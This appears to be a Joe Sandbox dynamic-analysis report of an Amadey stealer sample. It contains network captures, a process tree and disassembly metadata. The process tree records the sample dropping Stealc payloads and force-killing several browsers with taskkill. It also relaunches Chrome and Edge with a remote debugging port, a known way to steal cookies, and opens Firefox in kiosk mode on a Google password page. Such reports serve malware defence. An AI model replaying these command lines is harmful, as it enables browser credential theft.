68 56 62 59 36 68 57 79 4d 4c 58 72 38 42 35 39 4b 57 55 4d 36 49 69 4d 71 6d 5a 6a 51 30 62 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: kJ8FmA3xP0yWn34a.2Context: a401db92e3027699<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdX4HCRlKxYYuWKasoUGnUQa98VzQktby1LTdmynzIJmwI/e5Zh9jEdMNZvEIS2FObClMgvoWtgMdPdhVbY6hWyMLXr8B59KWUM6IiMqmZjQ0b
2024-12-16 14:08:55 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6b 4a 38 46 6d 41 33 78 50 30 79 57 6e 33 34 61 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 34 30 31 64 62 39 32 65 33 30 32 37 36 39 39 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: kJ8FmA3xP0yWn34a.3Context: a401db92e3027699<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-16 14:08:56 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-16 14:08:56 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 70 46 77 51 4e 73 72 4d 67 45 61 64 4d 4f 7a 4b 70 39 6e 32 51 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: pFwQNsrMgEadMOzKp9n2QA.0Payload parsing failed.

Target ID:	1
Start time:	09:01:07
Start date:	16/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xe00000
File size:	2'952'704 bytes
MD5 hash:	BF03B982421C50B3C232A902EED53E31
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.2291683336.0000000000E01000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.2202292322.0000000004830000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:01:14
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x9d0000
File size:	2'952'704 bytes
MD5 hash:	BF03B982421C50B3C232A902EED53E31
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000002.2316349454.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000003.2275090679.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:01:15
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x9d0000
File size:	2'952'704 bytes
MD5 hash:	BF03B982421C50B3C232A902EED53E31
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2284187628.0000000005020000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2325130475.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:02:00
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x9d0000
File size:	2'952'704 bytes
MD5 hash:	BF03B982421C50B3C232A902EED53E31
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000003.2726049197.0000000004F60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	09:02:13
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe"
Imagebase:	0xd60000
File size:	1'884'672 bytes
MD5 hash:	9B88AFC4511D0FE8ACA6080D34F2DD66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	09:02:21
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe"
Imagebase:	0x8b0000
File size:	1'796'608 bytes
MD5 hash:	E33DC32F04E77BC26482BACCB87B9795
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000012.00000002.3502074950.00000000008B1000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000012.00000002.3508880280.00000000013BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000012.00000003.2940412231.0000000005090000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	09:02:29
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe"
Imagebase:	0xe80000
File size:	965'632 bytes
MD5 hash:	7204BB7D150D6D2B21A5FFE9F3A9A017
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	09:02:29
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe"
Imagebase:	0xd60000
File size:	1'884'672 bytes
MD5 hash:	9B88AFC4511D0FE8ACA6080D34F2DD66
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	09:02:30
Start date:	16/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	09:02:31
Start date:	16/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2472 --field-trial-handle=2216,i,16623074290101822103,4127853333489822360,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	09:02:33
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x790000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	09:02:33
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	09:02:35
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x790000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	09:02:35
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	09:02:35
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x790000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	09:02:35
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	09:02:36
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x790000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	09:02:36
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	09:02:36
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x790000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	09:02:36
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	09:02:37
Start date:	16/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	09:02:37
Start date:	16/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	09:02:37
Start date:	16/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	09:02:37
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe"
Imagebase:	0x8b0000
File size:	1'796'608 bytes
MD5 hash:	E33DC32F04E77BC26482BACCB87B9795
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.3568420328.00000000008B1000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.3567743210.00000000005B3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000003.3104103507.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	09:02:38
Start date:	16/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2228 -prefMapHandle 2224 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9af8acac-d82e-404a-bbad-cf8fed735087} 4304 "\\.\pipe\gecko-crash-server-pipe.4304" 28b2ad6dd10 socket
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	09:02:39
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe"
Imagebase:	0x890000
File size:	2'776'576 bytes
MD5 hash:	F86C08A75747002A2A7CD3FBC5FE05C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	09:02:41
Start date:	16/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3996 -parentBuildID 20230927232528 -prefsHandle 4068 -prefMapHandle 4000 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c9e82d6b-f9d3-4a6b-aefc-e2407323a6a3} 4304 "\\.\pipe\gecko-crash-server-pipe.4304" 28b3d23cb10 rdd
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	09:02:43
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	09:02:43
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2764 --field-trial-handle=2092,i,5938001379590901427,3594052689996707155,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	09:02:44
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	09:02:44
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=1956,i,10990248225639772836,11182380420133072802,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	09:02:46
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe"
Imagebase:	0xe80000
File size:	965'632 bytes
MD5 hash:	7204BB7D150D6D2B21A5FFE9F3A9A017
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.8%
Total number of Nodes:	641
Total number of Limit Nodes:	23

Executed Functions

Function 00E05C83 Relevance: 20.8, APIs: 3, Strings: 8, Instructions: 1535registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,?,00000000,00000001,C80AC6D7,C80AC6D7), ref: 00E05DCC
RegQueryValueExA.KERNEL32(C80AC6D7,?,00000000,00000000,?,00000400,?,?,00000000,00000001,C80AC6D7,C80AC6D7), ref: 00E05DFA
RegCloseKey.KERNEL32(C80AC6D7,?,?,00000000,00000001,C80AC6D7,C80AC6D7), ref: 00E05E06

Strings

00000423, xrefs: 00E060FA
00000422, xrefs: 00E060C9
VUUU, xrefs: 00E06F41
stoi argument out of range, xrefs: 00E07081
Keyboard Layout\Preload, xrefs: 00E06054
0000043f, xrefs: 00E0612B
00000419, xrefs: 00E06098
invalid stoi argument, xrefs: 00E07090

Memory Dump Source

Source File: 00000001.00000002.2291683336.0000000000E01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000001.00000002.2291658143.0000000000E00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291683336.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291793031.0000000000E69000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291828780.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291860231.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292059060.0000000000FC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292115421.0000000000FCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292254693.0000000000FF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292293154.0000000000FF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292323353.0000000001000000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292351438.0000000001004000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292417444.0000000001005000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292450195.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292904799.000000000101D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292973236.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293037679.000000000101F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293093917.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293281553.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293362038.000000000102F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293442660.0000000001045000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293622076.0000000001047000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293852976.0000000001051000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294424829.0000000001056000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294473988.0000000001057000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294560863.000000000105E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294585622.000000000105F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294615375.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294694189.0000000001069000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294750685.000000000106A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294783617.0000000001076000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294864277.000000000107B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2295501659.000000000107D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2296522026.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298737169.0000000001086000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298784140.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299287328.00000000010A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299383859.00000000010DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299490879.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299558862.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299629911.00000000010F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299692220.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299730340.00000000010FB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299751462.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299797846.000000000110C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e00000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload$VUUU$invalid stoi argument$stoi argument out of range
API String ID: 3677997916-1112634906
Opcode ID: 038058d0728e2aefe69835f10771944ff1cfd37faced85e96ad14725e8175a95
Instruction ID: 1f0825d704efd2a7f75099eff60457bf55cb74957518155ec168a943dd5f029e
Opcode Fuzzy Hash: 038058d0728e2aefe69835f10771944ff1cfd37faced85e96ad14725e8175a95
Instruction Fuzzy Hash: 04C2F171A002189BEF28DF68CC85BDEB7B5EF45304F504299E419B72C2DB75AAD4CB90

Function 00E0735A Relevance: 2.5, APIs: 1, Instructions: 1031
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.2291683336.0000000000E01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000001.00000002.2291658143.0000000000E00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291683336.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291793031.0000000000E69000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291828780.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291860231.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292059060.0000000000FC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292115421.0000000000FCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
